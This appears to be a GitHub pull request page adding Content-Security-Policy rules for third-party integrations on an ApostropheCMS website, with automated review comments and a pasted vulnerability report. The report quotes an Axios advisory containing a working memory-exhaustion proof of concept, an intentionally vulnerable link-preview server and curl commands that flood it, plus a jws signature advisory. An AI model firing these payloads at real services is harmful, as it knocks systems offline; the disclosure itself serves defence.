EPSS Score	`0.042%`
EPSS Percentile	`12th percentile`

Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

jws 4.0.0 (npm)

pkg:npm/jws@4.0.0

Improper Verification of Cryptographic Signature

Affected range	`=4.0.0`
Fixed version	`4.0.1`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
EPSS Score	`0.009%`
EPSS Percentile	`1st percentile`

Description

Overview

An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.

Am I Affected?

You are affected by this vulnerability if you meet all of the following preconditions:

Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0

Application uses the jws.createVerify() function for HMAC algorithms

Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

You are NOT affected by this vulnerability if you meet any of the following preconditions:

Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability)

Application uses only asymmetric algorithms (e.g. RS256)

Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

Fix

Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1

Acknowledgement

Okta would like to thank Félix Charette for discovering this vulnerability.

coderabbitai

Actionable comments posted: 1

🤖 Fix all issues with AI agents

In `@website/modules/`@apostrophecms/security-headers/index.js:
- Around line 33-36: In the security headers object for the linkedin entry,
remove the invalid HOSTS token from the connect-src value and replace the string
"HOSTS px.ads.linkedin.com" with "px.ads.linkedin.com" so the linkedin object's
'connect-src' directive only lists the explicit host; update the linkedin key's
connect-src property accordingly.

website/modules/@apostrophecms/security-headers/index.js

…rations

coderabbitai

Actionable comments posted: 3

🤖 Fix all issues with AI agents

In `@website/modules/`@apostrophecms/security-headers/index.js:
- Around line 38-39: The Content-Security-Policy entry for the 'connect-src'
directive in index.js currently includes the literal "localhost", which is
unsafe for production; remove "localhost" from the string or gate it behind an
environment check (e.g., only append "localhost" when NODE_ENV==='development'
or a similar config flag) so that the connect-src value used by the
'connect-src' key does not allow local origins in production.
- Around line 45-47: Update the hotjar CSP entry in the hotjar object so it
includes all required directives: change script-src to include both
https://static.hotjar.com and https://script.hotjar.com plus 'unsafe-inline',
and add connect-src (https://*.hotjar.com https://*.hotjar.io
wss://*.hotjar.com), img-src (https://static.hotjar.com
https://script.hotjar.com https://survey-images.hotjar.com), font-src
(https://script.hotjar.com), and style-src (https://static.hotjar.com
https://script.hotjar.com 'unsafe-inline'). Locate and modify the hotjar object
in the exported security headers (hotjar) to include these keys and values so
Hotjar can load scripts, styles, fonts, images and websocket/XHR beacons
properly.
- Around line 48-50: Update the facebook CSP entry to include the missing
directives required by Facebook Pixel: add a 'connect-src' directive with value
'https://www.facebook.com' and an 'img-src' directive with value
'https://www.facebook.com' alongside the existing 'script-src' =>
'connect.facebook.net' in the facebook object so that beacon requests and the
noscript tracking pixel are allowed.

website/modules/@apostrophecms/security-headers/index.js

coderabbitai

Actionable comments posted: 1

🤖 Fix all issues with AI agents

In `@website/modules/`@apostrophecms/security-headers/index.js:
- Around line 3-7: The CSP currently builds connectSrcHosts using 'localhost'
via the localhostPart variable when !isProduction, which only matches default
ports; change the localhost entry to 'localhost:*' so dev connections on
non-default ports are allowed—update localhostPart (used in connectSrcHosts) to
include 'localhost:*' instead of 'localhost' and ensure connectSrcHosts still
composes the final string with `'self'`, the modified localhostPart, and the
existing hostnames (d3qlcaacmmrges.cloudfront.net and px.ads.linkedin.com).

website/modules/@apostrophecms/security-headers/index.js

feat(security-headers): extend CSP for third-party integrations

93c6458

Allow reCAPTCHA, GTM inline scripts (hashes), LinkedIn Insight, GA, Hotjar, and Facebook Pixel. Add data: for inline fonts (Swiper).

IhorMasechko requested review from killev and vasilyyaremchuk as code owners February 4, 2026 19:59

coderabbitai bot reviewed Feb 4, 2026

View reviewed changes

website/modules/@apostrophecms/security-headers/index.js Show resolved Hide resolved

feat(security-headers): add CSP policies for analytics and form integ…

94cb3ae

…rations

coderabbitai bot reviewed Feb 4, 2026

View reviewed changes

website/modules/@apostrophecms/security-headers/index.js Outdated Show resolved Hide resolved

website/modules/@apostrophecms/security-headers/index.js Show resolved Hide resolved

website/modules/@apostrophecms/security-headers/index.js Show resolved Hide resolved

feat(security-headers): extend CSP for third-party integrations

9c4a447

coderabbitai bot reviewed Feb 4, 2026

View reviewed changes

website/modules/@apostrophecms/security-headers/index.js Show resolved Hide resolved

fix(security-headers): allow non-default dev ports with localhost:*

197752c

IhorMasechko enabled auto-merge (squash) February 4, 2026 21:14

vasilyyaremchuk approved these changes Feb 5, 2026

View reviewed changes

IhorMasechko merged commit 79efb20 into main Feb 5, 2026
11 checks passed

IhorMasechko deleted the feature/extend-security-headers-csp branch February 5, 2026 06:45

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🔍 Vulnerabilities of apostrophe-cms:test

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edited by coderabbitai bot

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🔍 Vulnerabilities of `apostrophe-cms:test`